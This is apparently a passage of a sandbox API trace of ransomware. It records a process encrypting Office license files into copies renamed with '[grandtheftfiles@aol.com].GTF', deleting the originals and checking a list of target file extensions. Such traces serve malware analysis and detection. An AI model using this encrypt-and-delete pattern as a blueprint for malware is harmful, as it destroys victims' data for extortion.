	[0176.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.865] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.865] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.866] GetLastError () returned 0x0
	[0176.866] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x5780, lpOverlapped=0x0) returned 1
	[0176.868] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x5790, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x5790, lpOverlapped=0x0) returned 1
	[0176.870] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.870] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x110, lpOverlapped=0x0) returned 1
	[0176.870] SetEndOfFile (hFile=0x374) returned 1
	[0176.870] CloseHandle (hObject=0x374) returned 1
	[0176.870] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.870] SetEndOfFile (hFile=0x540) returned 1
	[0176.873] CloseHandle (hObject=0x540) returned 1
	[0176.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 1
	[0176.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0176.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0176.875] lstrlenW (lpString=".doc") returned 4
	[0176.875] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.875] lstrlenW (lpString=".docx") returned 5
	[0176.875] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.875] lstrlenW (lpString=".pdf") returned 4
	[0176.875] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.875] lstrlenW (lpString=".xls") returned 4
	[0176.875] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.875] lstrlenW (lpString=".xlsx") returned 5
	[0176.875] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.875] lstrlenW (lpString=".ppt") returned 4
	[0176.875] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0176.875] lstrlenW (lpString=".zip") returned 4
	[0176.875] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.875] lstrlenW (lpString=".rar") returned 4
	[0176.875] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.875] lstrlenW (lpString=".bz2") returned 4
	[0176.875] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.875] lstrlenW (lpString=".7z") returned 3
	[0176.875] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0176.876] lstrlenW (lpString=".dbf") returned 4
	[0176.876] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0176.876] lstrlenW (lpString=".1cd") returned 4
	[0176.876] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0176.876] lstrlenW (lpString=".jpg") returned 4
	[0176.876] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0176.876] lstrlenW (lpString=".doc") returned 4
	[0176.876] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString=".docx") returned 5
	[0176.876] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.876] lstrlenW (lpString=".pdf") returned 4
	[0176.876] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString=".xls") returned 4
	[0176.876] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString=".xlsx") returned 5
	[0176.876] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.876] lstrlenW (lpString=".ppt") returned 4
	[0176.876] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0176.876] lstrlenW (lpString=".zip") returned 4
	[0176.876] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString=".rar") returned 4
	[0176.876] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString=".bz2") returned 4
	[0176.876] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString=".7z") returned 3
	[0176.876] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0176.877] lstrlenW (lpString=".dbf") returned 4
	[0176.877] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0176.877] lstrlenW (lpString=".1cd") returned 4
	[0176.877] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0176.877] lstrlenW (lpString=".jpg") returned 4
	[0176.877] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.877] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.877] lstrlenW (lpString="O365BusinessR_Grace-ul-oob.xrm-ms") returned 33
	[0176.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.878] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11624) returned 1
	[0176.878] CloseHandle (hObject=0x540) returned 1
	[0176.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0176.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.879] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.879] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.880] GetLastError () returned 0x0
	[0176.880] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d68, lpOverlapped=0x0) returned 1
	[0176.882] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0176.883] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.883] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x116, lpOverlapped=0x0) returned 1
	[0176.883] SetEndOfFile (hFile=0x374) returned 1
	[0176.883] CloseHandle (hObject=0x374) returned 1
	[0176.883] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.883] SetEndOfFile (hFile=0x540) returned 1
	[0176.888] CloseHandle (hObject=0x540) returned 1
	[0176.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 1
	[0176.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0176.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0176.890] lstrlenW (lpString=".doc") returned 4
	[0176.890] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.890] lstrlenW (lpString=".docx") returned 5
	[0176.890] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.890] lstrlenW (lpString=".pdf") returned 4
	[0176.890] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.890] lstrlenW (lpString=".xls") returned 4
	[0176.890] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.890] lstrlenW (lpString=".xlsx") returned 5
	[0176.890] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.890] lstrlenW (lpString=".ppt") returned 4
	[0176.890] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0176.890] lstrlenW (lpString=".zip") returned 4
	[0176.890] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.890] lstrlenW (lpString=".rar") returned 4
	[0176.890] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.890] lstrlenW (lpString=".bz2") returned 4
	[0176.890] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.890] lstrlenW (lpString=".7z") returned 3
	[0176.891] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0176.891] lstrlenW (lpString=".dbf") returned 4
	[0176.891] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0176.891] lstrlenW (lpString=".1cd") returned 4
	[0176.891] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0176.891] lstrlenW (lpString=".jpg") returned 4
	[0176.891] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0176.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0176.891] lstrlenW (lpString=".doc") returned 4
	[0176.891] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.891] lstrlenW (lpString=".docx") returned 5
	[0176.891] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.891] lstrlenW (lpString=".pdf") returned 4
	[0176.891] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.891] lstrlenW (lpString=".xls") returned 4
	[0176.891] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.891] lstrlenW (lpString=".xlsx") returned 5
	[0176.891] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.891] lstrlenW (lpString=".ppt") returned 4
	[0176.891] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0176.892] lstrlenW (lpString=".zip") returned 4
	[0176.892] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.892] lstrlenW (lpString=".rar") returned 4
	[0176.892] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.892] lstrlenW (lpString=".bz2") returned 4
	[0176.892] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.892] lstrlenW (lpString=".7z") returned 3
	[0177.044] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0177.044] lstrlenW (lpString=".dbf") returned 4
	[0177.044] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0177.045] lstrlenW (lpString=".1cd") returned 4
	[0177.045] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0177.045] lstrlenW (lpString=".jpg") returned 4
	[0177.045] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.046] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0177.046] lstrlenW (lpString="O365BusinessR_Subscription-pl.xrm-ms") returned 36
	[0177.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0177.156] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11195) returned 1
	[0177.156] CloseHandle (hObject=0x570) returned 1
	[0177.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 0x220
	[0177.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.161] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.161] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0178.164] GetLastError () returned 0x0
	[0178.164] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0178.166] WriteFile (in: hFile=0x428, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0178.167] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.167] WriteFile (in: hFile=0x428, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0178.167] SetEndOfFile (hFile=0x428) returned 1
	[0178.168] CloseHandle (hObject=0x428) returned 1
	[0178.168] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.168] SetEndOfFile (hFile=0x540) returned 1
	[0178.172] CloseHandle (hObject=0x540) returned 1
	[0178.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 1
	[0178.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0178.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0178.174] lstrlenW (lpString=".doc") returned 4
	[0178.174] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.174] lstrlenW (lpString=".docx") returned 5
	[0178.175] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.175] lstrlenW (lpString=".pdf") returned 4
	[0178.175] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.175] lstrlenW (lpString=".xls") returned 4
	[0178.175] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.175] lstrlenW (lpString=".xlsx") returned 5
	[0178.175] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.175] lstrlenW (lpString=".ppt") returned 4
	[0178.175] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0178.175] lstrlenW (lpString=".zip") returned 4
	[0178.175] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.175] lstrlenW (lpString=".rar") returned 4
	[0178.175] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.175] lstrlenW (lpString=".bz2") returned 4
	[0178.175] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.175] lstrlenW (lpString=".7z") returned 3
	[0178.175] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0178.175] lstrlenW (lpString=".dbf") returned 4
	[0178.175] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0178.175] lstrlenW (lpString=".1cd") returned 4
	[0178.175] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0178.175] lstrlenW (lpString=".jpg") returned 4
	[0178.175] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0178.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0178.176] lstrlenW (lpString=".doc") returned 4
	[0178.176] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.176] lstrlenW (lpString=".docx") returned 5
	[0178.176] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.176] lstrlenW (lpString=".pdf") returned 4
	[0178.176] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.176] lstrlenW (lpString=".xls") returned 4
	[0178.176] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.176] lstrlenW (lpString=".xlsx") returned 5
	[0178.176] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.176] lstrlenW (lpString=".ppt") returned 4
	[0178.176] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0178.176] lstrlenW (lpString=".zip") returned 4
	[0178.176] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.176] lstrlenW (lpString=".rar") returned 4
	[0178.176] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.176] lstrlenW (lpString=".bz2") returned 4
	[0178.176] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.176] lstrlenW (lpString=".7z") returned 3
	[0178.176] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0178.176] lstrlenW (lpString=".dbf") returned 4
	[0178.176] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0178.176] lstrlenW (lpString=".1cd") returned 4
	[0178.176] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0178.176] lstrlenW (lpString=".jpg") returned 4
	[0178.176] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.177] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.177] lstrlenW (lpString="O365BusinessR_SubTest-pl.xrm-ms") returned 31
